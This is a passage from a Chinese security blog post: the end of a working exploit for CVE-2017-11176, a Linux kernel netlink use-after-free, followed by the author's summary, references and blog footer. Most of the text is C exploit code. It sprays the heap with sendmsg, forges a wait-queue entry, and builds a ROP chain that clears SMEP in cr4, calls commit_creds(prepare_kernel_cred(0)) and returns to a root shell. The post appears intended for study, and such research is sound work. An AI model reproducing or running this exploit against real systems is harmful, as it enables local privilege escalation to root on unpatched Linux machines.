    rcv_fd = socket(AF_UNIX,SOCK_DGRAM,0);
    if(rcv_fd == -1){
        Err("Rcv_fd Create");
    }

    char *saddr = "HeapSpry";
    struct sockaddr_un serv;
    serv.sun_family = AF_UNIX;
    strcpy(serv.sun_path,saddr);
    serv.sun_path[0] = 0;    
    //bind 绑定接收端
    if(bind(rcv_fd,(struct sockaddr*)&serv,sizeof(serv))){            
        Err("Bind recv");
    }
    //connect 连接发送端
    if(connect(snd_fd,(struct sockaddr*)&serv,sizeof(serv))){         
        Err("Connet send_fd");
    }

    struct msghdr msg;
    struct iovec iov;
    char iovbuf[10];
    iov.iov_base = iovbuf;
    iov.iov_len = 10;
    char buf[MAX_MSGSIZE];
    memset(buf,0x41,MAX_MSGSIZE);
    struct cmsghdr *pbuf;
    pbuf = (struct cmsghdr*)buf;
    pbuf->cmsg_len = MAX_MSGSIZE;
    //cmsg_level不能为SOL_SOCKET
    pbuf->cmsg_level = 0;
    //cmsg_type等于SCM_RIGHTS
    pbuf->cmsg_type = SCM_RIGHTS;
    //修改netlink_sock->portid为0x12345678，便于后续判断堆喷是否成功
    *(unsigned int*)((char*)buf+0x2c8) = 0x12345678;/*netlink_sock->portid*/ 
    //netlink_sock->groups必须为0                                                       
    *(unsigned long*)((char*)buf+0x2c8+0x18) = 0;       /*netlink_sock->groups */ 

    //在用户空间伪造的u_wait_queue_t
    struct u_wait_queue uwq;
    memset(&uwq,0x66,sizeof(uwq));
        uwq.flag = 0x01;
    //修改uwq.func指针指向 栈迁移 gadget
    uwq.func = xchg_eax_esp_r;  // 0xffffffff8100008d: xchg eax, esp; ret; 
    uwq.next = &(uwq.next);
    uwq.prev = &(uwq.next);
    printf("buf : %p\nuwq : %p\n",buf,&(uwq.next));
    //4.11.9版本需要设置netlink_sock->wait->lock为0，不然会进入 __wake_up()->spin_lock_irqsave()，提权失败
    *(unsigned long*)((char*)buf+0x2c8+0x18+0x18) = 0;                   
    //修改netlink_sock->wait->tasklist.next为用户空间的 next地址
    *(unsigned long*)((char*)buf+0x2c8+0x18+0x20) = (void*)(&(uwq.next));
    //修改netlink_sock->wait->tasklist.prev为用户空间的prev地址
    *(unsigned long*)((char*)buf+0x2c8+0x18+0x28) = (void*)(&(uwq.next));
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    size_t *rop_addr = ((unsigned int)&uwq)&0xffffffff;
    size_t *rop_map = rop_addr-0x20;
    mmap(rop_map, 0x2000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
    puts("prepare rop");
    int i = 0;
    rop_addr[i++] = p_rdi_r;
    rop_addr[i++] = 0x6f0;
    rop_addr[i++] = mv_cr4_rdi_p_rbp_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = p_rdi_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = prepare_kernel_cred;
    rop_addr[i++] = mv_rdi_rax_p_r12_p_rbp_r;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = 0;
    rop_addr[i++] = commit_creds;
    rop_addr[i++] = swapgs_p_rbp;
    rop_addr[i++] = 0;
    
    rop_addr[i++] = iretq_p_rbp;
    rop_addr[i++] = get_shell;
    rop_addr[i++] = user_cs;
    rop_addr[i++] = user_rflags;
    rop_addr[i++] = user_sp;
    rop_addr[i++] = user_ss;

    puts("set timeo");
    struct timeval tval;
    memset(&tval,0,sizeof(tval));
    //tv_sec需要大于等于0
    tval.tv_sec = 0;
    //tv_usec需要大于等于0
    tval.tv_usec = 0;
    //通过setsockopt来设置阻塞时间timeo
    if(setsockopt(rcv_fd, SOL_SOCKET, SO_SNDTIMEO, &tval, sizeof(tval))){
        Err("set socket timeo");
    }

    //通过增大sk_wmem_alloc 使发送进程阻塞, 本次不需要阻塞，所以 flag 设置为 MSG_DONTWAIT 。  msg->msg_controllen == 0, 所以不会调用 sock_kmalloc() 分配堆空间
    while(sendmsg(snd_fd, &msg, MSG_DONTWAIT)>0);
    if (errno != EAGAIN)
    { 
        Err("Block sendmsg");
    }

    puts("[*] ==> sendmsg");
    msg.msg_control = buf;
    msg.msg_controllen = MAX_MSGSIZE;
    struct spry sp;
    sp.fd = snd_fd;
    sp.send = 0;
    sp.flag = 0;
    sp.msg = &msg;
    //int i = 0;
    pthread_t pid;

    //喷射10次
    for(i=0;i<10;i++){
        if(errno = pthread_create(&pid,NULL,spry,&sp)){        
            Err("Heap Spry pthread create");
        }      
    } 
    puts("Heap Spry ok");
}

//通过sendmsg调用netlink_attachskb来增大sk_rmem_alloc
int Addrmem(){
    int fd1 = 0;
    int fd2 = 0;
    //创建两个socket对象，套接字协议必须为NETLINK_USERSOCK=2
    fd1 = socket(AF_NETLINK, SOCK_RAW, NETLINK_USERSOCK);
    fd2 = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);

    struct sockaddr_nl nladdr;
    nladdr.nl_family = AF_NETLINK;
    nladdr.nl_pad = 0;
    nladdr.nl_pid = 10;
    nladdr.nl_groups = 0;

    //绑定fd1,作为接受端
    bind(fd1, (struct sockaddr*)&nladdr, sizeof(struct sockaddr_nl));

    struct msghdr msg;
    struct sockaddr_nl rcv_nladdr;
    //需要dst_portid不为0，所以需要msg_name->nl_pid不为0
    rcv_nladdr.nl_pid = 10;
    rcv_nladdr.nl_pad = 0;
    //必须为0绕过检测
    rcv_nladdr.nl_groups = 0;
    //msg_name->nl_family必须为AF_NETLINK
    rcv_nladdr.nl_family = AF_NETLINK;

    memset(&msg,0,sizeof(msg));
    msg.msg_name = &rcv_nladdr;
    //msg_namelen不能为0
    msg.msg_namelen = sizeof(rcv_nladdr);
    /* message head */
    char msg_head[] = "An example";
    struct nlmsghdr* nlmsg_hdr;
    nlmsg_hdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
    strcpy(NLMSG_DATA(nlmsg_hdr),msg_head);
    //nlmsg_len为包含netlink消息头的整个netlink消息的长度
    nlmsg_hdr->nlmsg_len = NLMSG_LENGTH(strlen(msg_head));/*nlmsghdr len + data len*/
    nlmsg_hdr->nlmsg_pid = getpid();  /* self pid */
    nlmsg_hdr->nlmsg_flags = 0;

    struct iovec iov;
    //iov_base必须用户可读
    iov.iov_base = nlmsg_hdr;
    iov.iov_len = nlmsg_hdr->nlmsg_len;
    msg.msg_iov = &iov;
    //msg_iovlen必须为1
    msg.msg_iovlen = 1;

    //调用sendmsg来增大sk->sk_rmem_alloc
    //msg_flags必须为MSG_DONTWAIT才不会被block
    while(sendmsg(fd2, &msg, MSG_DONTWAIT)>0);
    if (errno != EAGAIN)
    {
        perror("sendmsg");
        exit(-5);
        //Err("sendmsg in Addrmem");
    }

    printf("[*] Add rmem ok\n");
    return fd1;
}


int main(){
    int fd = 0;
    savestatus();
    fd = Addrmem();
    if(fd == -1){
        Err("Add rmem_alloc");
    }
    
    puts("Trigger vul");
    trigger(fd);
    trigger(fd);

    puts("Heap Spry begin:");
    HeapSpry(fd);

    sleep(2);
    struct sockaddr_nl j_addr;
    int j_addr_len = sizeof(j_addr);
    memset(&j_addr, 0, sizeof(j_addr));
    
    printf("succeed\n");
    //调用getsockname获取netlink_sock->portid,用于检查堆喷是否成功
    if(getsockname(fd,(struct sockaddr*)&j_addr,&j_addr_len)){      
        Err("getsockname ");
    }
    printf("portid : %x\n",j_addr.nl_pid);
    puts("ok");
    int optval = 1;
    printf("user_cs : %x\nuser_rflags : %x\nuser_ss : %x\n",user_cs,user_rflags,user_ss);
    
    //触发执行伪造函数 wait_queue_t.func
    setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,5);            
    close(fd);
    return 0;
}

总结

这个漏洞前后总共花了5天调试，难点主要在于 需要一步步从源码中分析如何才能触发漏洞，以及利用漏洞时需要绕过的各种检查。其次就是 关于 socket编程，还好网上目前有较多的 netlink模板，能够学习。最后就是 还有一点没有搞懂的问题，触发漏洞时 为何要连续执行两次。经过我的调试，如果只执行一次，也能够释放sock，形成 uaf。但是 通过 sendmsg堆喷时却无法将该slub申请回来。但是，为何执行两次即可，这是目前我还不太清楚的地方。希望后续能有师傅指教。

参考

CVE-2017-11176: A step-by-step Linux Kernel exploitation

cve-2017-11176 利用分析+exp

新手向——CVE-2017-11176漏洞分析

【翻译&复现】CVE-2017-11176分析

https://github.com/bsauce/kernel-exploit-factory/blob/main/CVE-2017-16995/exp.c

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing